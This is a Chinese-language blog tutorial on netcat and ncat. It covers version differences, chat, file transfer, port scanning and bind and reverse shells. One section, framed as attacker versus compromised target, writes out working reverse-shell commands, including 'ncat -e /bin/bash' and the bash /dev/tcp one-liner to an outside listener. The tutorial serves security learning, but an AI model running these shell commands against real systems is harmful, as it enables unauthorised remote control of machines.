nc 被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用 TCP 或 UDP 协议的网络连接去读写数据,国光本人认为看完这篇文章教程你的 nc 基本上是入门了。

简介

nc 被誉为网络安全界的瑞士军刀,一个简单而有用的工具,透过使用 TCP 或 UDP 协议的网络连接去读写数据。

版本区别

nc 的版本非常乱,有很多版本,他们分别由不同的作者编写。

netcat-traditional

这个是最早的版本,最新版本是 2007 年 1 月,版本是 1.10,Kali Linux 默认带的就是这个版本:

root@kali-linux:~# nc -h
[v1.10-41.1]

这个版本的 nc 具有-e选项,十分方便反弹 shell 使用

Windows 版本的 netcat 下载地址:https://eternallybored.org/misc/netcat/

netcat-openbsd

ubuntu 里默认的 nc 命令指向的是netcat-openbsd。这个版本因为考虑到安全性等原因没有-e选项。所以我们得手动替换一下nc 的版本:

# 安装传统的netcat
$ sudo apt-get install netcat

# 切换版本
$ sudo update-alternatives --config nc
[sudo] sqlsec 的密码: 
有 2 个候选项可用于替换 nc (提供 /bin/nc)。

  选择       路径               优先级  状态
------------------------------------------------------------
  0            /bin/nc.openbsd       50        自动模式
  1            /bin/nc.openbsd       50        手动模式
* 2            /bin/nc.traditional   10        手动模式

要维持当前值[*]请按<回车键>,或者键入选择的编号:2

ncat

这是 netcat 的比较新的现代版本,它是从头开始编写的,不使用原始的 netcat 代码,ncat 的作者是着名的 Nmap 程序的作者。ncat 几乎重复了原始程序的所有功能,并包含其他功能。CentOS、Red Hat 默认带的是 ncat。目前ncat已经集成到了 nmap 里面,安装完 nmap 后就可以使用ncat命令了。

用法

本用法全部基于ncat命令来做的记录,其他版本的 nc 可能会有些许差别。

实验环境

操作系统 IP地址
Ubuntu 18.04 10.211.55.14
macOS 10.13.6 10.211.55.2

文字交互

监听入站连接

-l:使用监听模式,监控传入的信息

# sqlsec @ X1cT34m-iMac in ~ 
$ ncat -l 2333

此刻 macOS 就会在监听本地 2333 端口的入站连接。

连接远程系统

尝试实验 nc 在 Ubuntu 系统下来连接 macOS 的 2333 端口:

# sqlsec @ ubuntu in ~ 
$ ncat 10.211.55.2 2333

现在就可以通过 nc 来聊天来,任何一方输入的内容都会被另一方看到:

任一方按Ctrl+C即可终止这尴尬的聊天。

命令交互

基本交互

-e:将传入的信息以命令执行

在 macOS 上运行如下命令,将/bin/bash通过 2333 端口来监听,将收到的信息都发送到/bin/bash

# sqlsec @ X1cT34m-iMac in ~ [22:09:34]
$ ncat -l -e /bin/bash 2333

Ubuntu 系统这边依然向往常一样来连接 macOS 的 2333 端口,只是此时 Ubutnu 输入的指令都会传入macOS 的 /bin/bash 执行成功后会返回信息,类似于ssh操作连接来 macOS 一样:

# sqlsec @ ubuntu in ~ [22:13:49] C:130
$ ncat 10.211.55.2 2333
whoami
sqlsec
pwd
/Users/sqlsec
id
uid=501(sqlsec) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserver
adm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.a
ccess_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
uname -a
Darwin X1cT34m-iMac 17.7.0 Darwin Kernel Version 17.7.0: Wed Apr 24 21:17:24 PDT 2019; root:xnu-4570.71.45~1/RELEASE_X86_64 x86_64

持久监听

-k: 客户端断掉连接时,服务端依然保持运行
-v:现实指令执行过程细节

在 macOS 开启一个持久监听的 nc

# sqlsec @ X1cT34m-iMac in ~ 
$ ncat -lvk -e  /bin/bash 2333

此时使用 Ubuntu 去连接 macOS:

# sqlsec @ ubuntu in ~ 
$ ncat 10.211.55.2 2333

当 Ubuntu客户端使用CTRL + cCTRL + d断开连接的时候,macOS 的 ncat 依然在运行,这样方便 Ubuntu下次直接 nc 连进来。

内网弹shell

ncat 简单调整是可以穿内网的

操作系统 IP地址
macOS 10.13.6 内网
CentOS www.sqlsec.com

首先外网的 CentOS 服务器先监听本地端口:

-w: 设置等待连线的时间秒数

# root @ x1ct34m in ~ 
$ ncat -lv 2333        
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333

内网的 macOS 运行:

# sqlsec @ X1cT34m-iMac in ~
$ ncat -w 10 -e /bin/bash www.sqlsec.com 2333

此时 CentOS 这边已经接受到了内网到 macOS 的 bash 了,可以交互执行 masOS 的命令:

bash 弹 shell

如果控制的目标机器自带的nc不支持-e选项,那如何将shell弹出去呢?这里可以利用自带的bash命令交互环境来实现这个操作:

攻击者外网监听:

-p port 本地端口

# 使用nc命令的话得添加 -p 指定端口这个选项
nc -lvp 2333

# ncat用法不变
ncat -lv 2333

被入侵的目标机器执行如下命令:

bash -i >& /dev/tcp/10.211.55.4/2333 0>&1

这条命令的作用等同于之前的ncat -w 10 -e /bin/bash 10.211.55.4 2333

命令 参数解释
bash -i 产生一个bash交互环境
>& 将联合符号前面的内容与后面结合然后一起重定向给后者
/dev/tcp/10.211.55.4/2333 让目标主机与主机10.211.55.4的2333端口简历一个连接
0>&1 将标准的输入与标准输出内容相结合,然后重定向给前面的标准输出内容

文件传输

操作系统 IP地址
macOS 10.13.6 内网
CentOS www.sqlsec.com

上传文件到远程

CentOS 远程服务器运行:

# root @ x1ct34m in ~ 
$ ncat -l 2333 > hello.txt

macOS 本地运行:

# sqlsec @ X1cT34m-iMac in ~
$ ncat www.sqlsec.com 2333 < hello.txt

此时会将 macOS 的文件传输到远程的 CentOS 服务器上,传输完成后,两个 ncat 会话都将终止。

从远程下载文件

CentOS 远程服务器运行:

# root @ x1ct34m in ~
$ ncat -l 2333 < hello.txt 

macOS 本地运行:

# sqlsec @ X1cT34m-iMac in ~
$ ncat www.sqlsec.com 2333 > hello.txt

请注意,这里文件传输完成后不会显示任何内容,并且两个 Ncat 实例将继续工作。

端口扫描

范围扫描

ncat 不支持端口扫描,但是原始的 nc 可以扫描端口。

-n: 直接使用ip地址,而不通过域名服务器
-z: 使用0输入/输出模式,只在扫描通信端口时使用

这里扫描 10.211.55.14 的 20-25 这个端口范围:

# sqlsec @ X1cT34m-iMac in ~
$ nc -v -n -z 10.211.55.14 20-25
10.211.55.14 22 (ssh) open

可以发现成功扫描出 22 端口是开放的了

单个扫描

# sqlsec @ X1cT34m-iMac in ~
$ nc -v -z -n 10.211.55.14 22 
10.211.55.14 22 (ssh) open

nc 的命令可以写在一起的,下面两条命令的作用相同:

$ nc -v -z -n 10.211.55.14 22 
$ nc -vzn 10.211.55.14 22

详细参数

Options taking a time assume seconds. Append 'ms' for milliseconds,
's' for seconds, 'm' for minutes, or 'h' for hours (e.g. 500ms).
  -4                         Use IPv4 only
  -6                         Use IPv6 only
  -U, --unixsock             Use Unix domain sockets only
  -C, --crlf                 Use CRLF for EOL sequence
  -c, --sh-exec              Executes the given command via /bin/sh
  -e, --exec                 Executes the given command
      --lua-exec             Executes the given Lua script
  -g hop1[,hop2,...]         Loose source routing hop points (8 max)
  -G                         Loose source routing hop pointer (4, 8, 12, ...)
  -m, --max-conns            Maximum  simultaneous connections
  -h, --help                 Display this help screen
  -d, --delay                Wait between read/writes
  -o, --output               Dump session data to a file
  -x, --hex-dump             Dump session data as hex to a file
  -i, --idle-timeout         Idle read/write timeout
  -p, --source-port port     Specify source port to use
  -s, --source addr          Specify source address to use (doesn't affect -l)
  -l, --listen               Bind and listen for incoming connections
  -k, --keep-open            Accept multiple connections in listen mode
  -n, --nodns                Do not resolve hostnames via DNS
  -t, --telnet               Answer Telnet negotiations
  -u, --udp                  Use UDP instead of default TCP
      --sctp                 Use SCTP instead of default TCP
  -v, --verbose              Set verbosity level (can be used several times)
  -w, --wait                 Connect timeout
  -z                         Zero-I/O mode, report connection status only
      --append-output        Append rather than clobber specified output files
      --send-only            Only send data, ignoring received; quit on EOF
      --recv-only            Only receive data, never send anything
      --allow                Allow only given hosts to connect to Ncat
      --allowfile            A file of hosts allowed to connect to Ncat
      --deny                 Deny given hosts from connecting to Ncat
      --denyfile             A file of hosts denied from connecting to Ncat
      --broker               Enable Ncat's connection brokering mode
      --chat                 Start a simple Ncat chat server
      --proxy                Specify address of host to proxy through
      --proxy-type           Specify proxy type ("http" or "socks4" or "socks5")
      --proxy-auth           Authenticate with HTTP or SOCKS proxy server
      --ssl                  Connect or listen with SSL
      --ssl-cert             Specify SSL certificate file (PEM) for listening
      --ssl-key              Specify SSL private key (PEM) for listening
      --ssl-verify           Verify trust and domain name of certificates
      --ssl-trustfile        PEM file containing trusted SSL certificates
      --ssl-ciphers          Cipherlist containing SSL ciphers to use
      --ssl-alpn             ALPN protocol list to use.
      --version              Display Ncat's version information and exit

See the ncat(1) manpage for full options, descriptions and usage examples

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光